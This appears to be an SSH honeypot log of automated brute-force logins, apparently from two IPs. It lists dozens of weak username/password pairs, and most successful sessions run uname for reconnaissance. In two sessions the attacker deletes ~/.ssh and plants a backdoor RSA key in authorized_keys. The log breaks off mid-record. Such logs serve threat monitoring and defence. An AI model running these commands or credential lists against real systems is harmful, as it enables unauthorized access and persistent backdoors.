Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: fastuser
{
"id": "785aa1befd9c",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:38.158994Z",
"end_time": "2026-09-26T18:16:40.851547Z",
"duration": "2.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "fastuser",
"pass": "fastuser"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zabbix
{
"id": "9ef528f8db5e",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:33.156795Z",
"end_time": "2026-09-26T18:16:35.152558Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "zabbix",
"pass": "zabbix"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Password12
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "9bf1b47c47cd",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:28.389395Z",
"end_time": "2026-09-26T18:16:30.205096Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Password12"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: arya
{
"id": "5d6996bb3f54",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:23.928136Z",
"end_time": "2026-09-26T18:16:27.109154Z",
"duration": "3.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "arya",
"pass": "arya@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user1
{
"id": "f0c29a1edcbe",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:19.004525Z",
"end_time": "2026-09-26T18:16:21.266415Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user1",
"pass": "root@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / ABCabc123456.
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "949c3116bad0",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:14.190025Z",
"end_time": "2026-09-26T18:16:16.467442Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "ABCabc123456."
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: fastuser
{
"id": "cb4f06ae1998",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:09.320580Z",
"end_time": "2026-09-26T18:16:11.581305Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "fastuser",
"pass": "1234567890"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Qq112233
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "63b1bd19ccf1",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:16:04.493296Z",
"end_time": "2026-09-26T18:16:07.366142Z",
"duration": "2.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Qq112233"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / =
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "a4910ae4f0a4",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:59.662087Z",
"end_time": "2026-09-26T18:16:02.655807Z",
"duration": "3.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "="
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: admin / qwert1
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "5043af803356",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:54.758679Z",
"end_time": "2026-09-26T18:15:56.300627Z",
"duration": "1.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "qwert1"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: oracle / oracle
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "d78aa7981de3",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:50.083619Z",
"end_time": "2026-09-26T18:15:52.726274Z",
"duration": "2.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "oracle",
"pass": "oracle"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: deploy / deploy
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "7b7936a57f1e",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:44.791132Z",
"end_time": "2026-09-26T18:15:46.883279Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "deploy",
"pass": "deploy"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rdpuser
{
"id": "863de22071e4",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:40.163824Z",
"end_time": "2026-09-26T18:15:43.115237Z",
"duration": "2.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "rdpuser",
"pass": "123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / As123321
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "43287708c97b",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:35.294464Z",
"end_time": "2026-09-26T18:15:38.144069Z",
"duration": "2.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "As123321"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "3259383fb71d",
"src_ip": "161.132.38.233",
"start_time": "2026-09-26T18:15:31.801465Z",
"end_time": "2026-09-26T18:15:32.520030Z",
"duration": "0.7",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 1411
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "5cdd7e27a2f4",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:30.244443Z",
"end_time": "2026-09-26T18:15:32.129649Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "1411"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "99086ce16d56",
"src_ip": "161.132.38.233",
"start_time": "2026-09-26T18:15:29.972501Z",
"end_time": "2026-09-26T18:15:31.687840Z",
"duration": "1.7",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / mA123456
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "03604cc2454f",
"src_ip": "161.132.38.233",
"start_time": "2026-09-26T18:15:28.450632Z",
"end_time": "2026-09-26T18:15:32.516243Z",
"duration": "4.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "mA123456"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: deploy / deploy@123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "56f82c5fa94b",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:25.358755Z",
"end_time": "2026-09-26T18:15:27.901889Z",
"duration": "2.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "deploy",
"pass": "deploy@123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / ssssssss
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "06e6f180fbf7",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:20.569068Z",
"end_time": "2026-09-26T18:15:22.637956Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "ssssssss"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: user / 123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "5500c3cbba28",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:15.507494Z",
"end_time": "2026-09-26T18:15:18.135954Z",
"duration": "2.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ec2-user
{
"id": "8b12dc795d4c",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:10.686988Z",
"end_time": "2026-09-26T18:15:13.493422Z",
"duration": "2.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ec2-user",
"pass": "123123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Adc123456
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "9b4cb37b1b8b",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:05.553972Z",
"end_time": "2026-09-26T18:15:07.509880Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Adc123456"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: steam / 123456
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "1d8678253e59",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:15:00.504771Z",
"end_time": "2026-09-26T18:15:03.593016Z",
"duration": "3.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "steam",
"pass": "123456"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: admin / !QAZ2wsx
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "f85116e39206",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:14:55.956806Z",
"end_time": "2026-09-26T18:14:58.969459Z",
"duration": "3.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "!QAZ2wsx"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ali
{
"id": "c6a10022d0ac",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:14:51.101779Z",
"end_time": "2026-09-26T18:14:53.378011Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ali",
"pass": "ali"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bitrix
{
"id": "e06e349193e1",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:14:46.245645Z",
"end_time": "2026-09-26T18:14:49.318177Z",
"duration": "3.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "bitrix",
"pass": "master"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 123321qwe
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "a4c0060b17d9",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:14:41.669896Z",
"end_time": "2026-09-26T18:14:44.173536Z",
"duration": "2.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "123321qwe"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin1
{
"id": "c59177844ac6",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:14:36.998940Z",
"end_time": "2026-09-26T18:14:40.707234Z",
"duration": "3.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "admin1",
"pass": "1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: odoo
{
"id": "1f92439003ba",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:14:32.542422Z",
"end_time": "2026-09-26T18:14:35.477983Z",
"duration": "2.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "odoo",
"pass": "123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user2
{
"id": "846b80042065",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:14:27.178200Z",
"end_time": "2026-09-26T18:14:29.684412Z",
"duration": "2.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user2",
"pass": "passwd"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Password@123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "23f84de0a8c1",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:14:22.246722Z",
"end_time": "2026-09-26T18:14:23.929051Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Password@123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: www
{
"id": "08db37e67e42",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:14:17.675769Z",
"end_time": "2026-09-26T18:14:21.447439Z",
"duration": "3.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "www",
"pass": "www"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: ftpuser / ftpuser
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "ca6f28512adb",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:14:12.282076Z",
"end_time": "2026-09-26T18:14:14.860023Z",
"duration": "2.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ftpuser",
"pass": "ftpuser"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: worker
{
"id": "e87ddf643801",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:14:07.440114Z",
"end_time": "2026-09-26T18:14:09.879487Z",
"duration": "2.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "worker",
"pass": "worker123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ark
{
"id": "e60481c3a01b",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:14:02.694119Z",
"end_time": "2026-09-26T18:14:04.958334Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ark",
"pass": "ark"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: debian
{
"id": "f3a2581f9177",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:13:58.154644Z",
"end_time": "2026-09-26T18:14:00.195288Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "debian",
"pass": "123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "a91ee2979b04",
"src_ip": "161.132.38.233",
"start_time": "2026-09-26T18:13:55.645406Z",
"end_time": "2026-09-26T18:13:56.365050Z",
"duration": "0.7",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "2cd1ba79361f",
"src_ip": "161.132.38.233",
"start_time": "2026-09-26T18:13:53.802394Z",
"end_time": "2026-09-26T18:13:55.535832Z",
"duration": "1.7",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: odoo16
{
"id": "424074a0a399",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:13:53.682656Z",
"end_time": "2026-09-26T18:13:56.921512Z",
"duration": "3.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "odoo16",
"pass": "odoo16"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Qwer@2024
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "c96f57dafac1",
"src_ip": "161.132.38.233",
"start_time": "2026-09-26T18:13:52.277994Z",
"end_time": "2026-09-26T18:13:56.361223Z",
"duration": "4.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Qwer@2024"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
